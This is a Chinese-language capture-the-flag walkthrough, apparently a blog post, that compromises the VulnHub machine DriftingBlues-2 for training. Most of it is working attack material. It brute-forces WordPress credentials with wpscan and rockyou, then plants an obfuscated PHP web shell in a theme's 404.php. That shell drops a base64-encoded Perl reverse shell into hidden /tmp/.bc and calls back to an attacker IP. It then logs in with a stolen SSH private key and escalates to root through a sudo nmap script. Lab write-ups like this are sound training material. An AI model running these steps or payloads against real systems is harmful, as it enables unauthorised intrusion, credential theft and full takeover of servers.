vulnhub靶场之driftingblues-2

一.环境搭建

1.靶场描述

get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email (it should be on my profile) for troubleshooting or questions.
This works better with VirtualBox rather than VMware 
 

2.靶场下载

https://www.vulnhub.com/entry/driftingblues-2,634/
 

image-20240205182951811

3.靶场启动

image-20240205183030629

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.1.0/24

二.信息收集

1.寻找靶场真实ip

nmap -sP 192.168.1.0/24
 

image-20240205183345515

arp-scan -l
 

image-20240205183416768

靶场真实ip地址为192.168.1.7
 

2.探测端口及服务

nmap -p- -sV 192.168.1.7
 

image-20240205183650442

发现开启了21端口,服务为ProFTPD
发现开启了22端口,服务为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
发现开启了80端口,服务为Apache httpd 2.4.38 ((Debian))
 

3.web指纹识别

whatweb -v http://192.168.1.7
 

image-20240205183911341

三.渗透测试

1.访问web服务

http://192.168.1.7
 

image-20240205184012854

ftp://192.168.1.7
 

image-20240205185022506

我们看到是一张图片,可能会有有用的信息,我们一会分析下

2.扫描web服务

1)棱洞3.0指纹识别

./EHole_linux_amd64 finger -u http://192.168.1.7
 

image-20240205184152926

没有有用信息

2)nikto扫描网站结构

nikto -h http://192.168.1.7
 

image-20240205184510672

扫描到一个登录页面,我们进行查看

http://192.168.1.7/blog/wp-login.php
 

image-20240205184636745

我们看到cms框架是wordpress,可能是爆破用户名和密码
 

3)disearch目录扫描

dirsearch -u 192.168.1.7 -e * -x 403 --random-agent
 

image-20240205184741763

扫描到一个/blog/目录,我们进行访问

http://192.168.1.7/blog
 

image-20240205184812353

目前掌握的信息是一个登录页面,一个/blog/目录,一张图片
 

3.渗透测试

1)图片隐写

我们分析这张图片

image-20240205185421131

使用steghide工具先查看一下图片基本信息,但是需要密码,我们没有密码

steghide --info '/home/kali/桌面/secret.jpg' 
 

image-20240205185545378

我们使用stegseek进行爆破

stegseek  --crack '/home/kali/桌面/secret.jpg' 
 

image-20240205190135123

我们看到没有爆破出来,我们换一个思路,前面我们扫描到cms框架是wordpress,我们可以使用wpscan进行爆破

2)wpscan爆破

爆破用户名

wpscan --url http://192.168.1.7/blog  -e u
 

image-20240205191446215

image-20240205191507965

爆破出来一个用户名是albert

制作字典

cewl http://192.168.1.7 > MS02423.txt
 

image-20240205191747850

爆破密码

sudo wpscan --url http://192.168.1.7/blog  albert --passwords  MS02423.txt
 

image-20240205191943220

我们看到没有爆破出来,我们换一个字典,使用kali自带的字典——rockyou.txt

sudo wpscan --url http://192.168.1.7/blog  albert --passwords  /usr/share/wordlists/rockyou.txt
 

image-20240205192554205

用户名是albert,密码是scotland1
 

3)登录wordpress

http://192.168.1.7/blog/wp-login.php
 

image-20240205192337005

我们看到报错了,看来是ip和域名没有绑定,我们进行绑定

image-20240205192500303

我们再次访问,发现登录成功了

image-20240205192753051

image-20240205192847079

4)反弹shell

我们进行查看,查找可以写入shell的地方,找到有一个404.php的页面可以编辑,此处使用php反弹shell的脚本,只需要修改ip和port为指定的值即可.

http://driftingblues.box/blog/wp-admin/theme-editor.php?file=404.php&theme=twentytwentyone
 

image-20240205192943683

我们写入php反弹shell脚本,记得保存

<?php
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
 

image-20240205193435417

然后,我们访问一个不存在的页面即可

http://driftingblues.box/blog/index.php/MS02423
 

image-20240205193750358

我们看到反弹成功

image-20240205193902136

5)提权

我们使用sudo -l 查看提权,发现需要密码

image-20240205194048378

我们查看一些目录——/home/,/tmp/,/var,/var/www/html

我们切换的/home/,发现一个用户freddie,进入用户目录,有一个txt文件,但没有权限查看

image-20240205194257431

我们还看到.ssh文件夹, 进入.ssh文件夹中,发现一对公私钥对,其中私钥有可读权限

image-20240205194500332

我们复制到kali里面,并修改权限为400

image-20240205194635713

使用私钥免密登录,可以成功登录为用户freddie,我们可以看到登录成功

image-20240205194813153

得到第一个flag

image-20240205194845378

查看sudo权限的命令,发现有一个nmap命令可以无密码root使用,用于提权

sudo -l
 

image-20240205195052568

根据使用nmap提权的方法:

https://gtfobins.github.io/gtfobins/nmap/
 

进行提权

image-20240205195214901

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
 

image-20240205195432631

四.相关知识

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.dirsearch目录扫描

9.ssh登录

10.图片隐写

11.wpscan爆破

12.nmap提权方式

  • 14
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值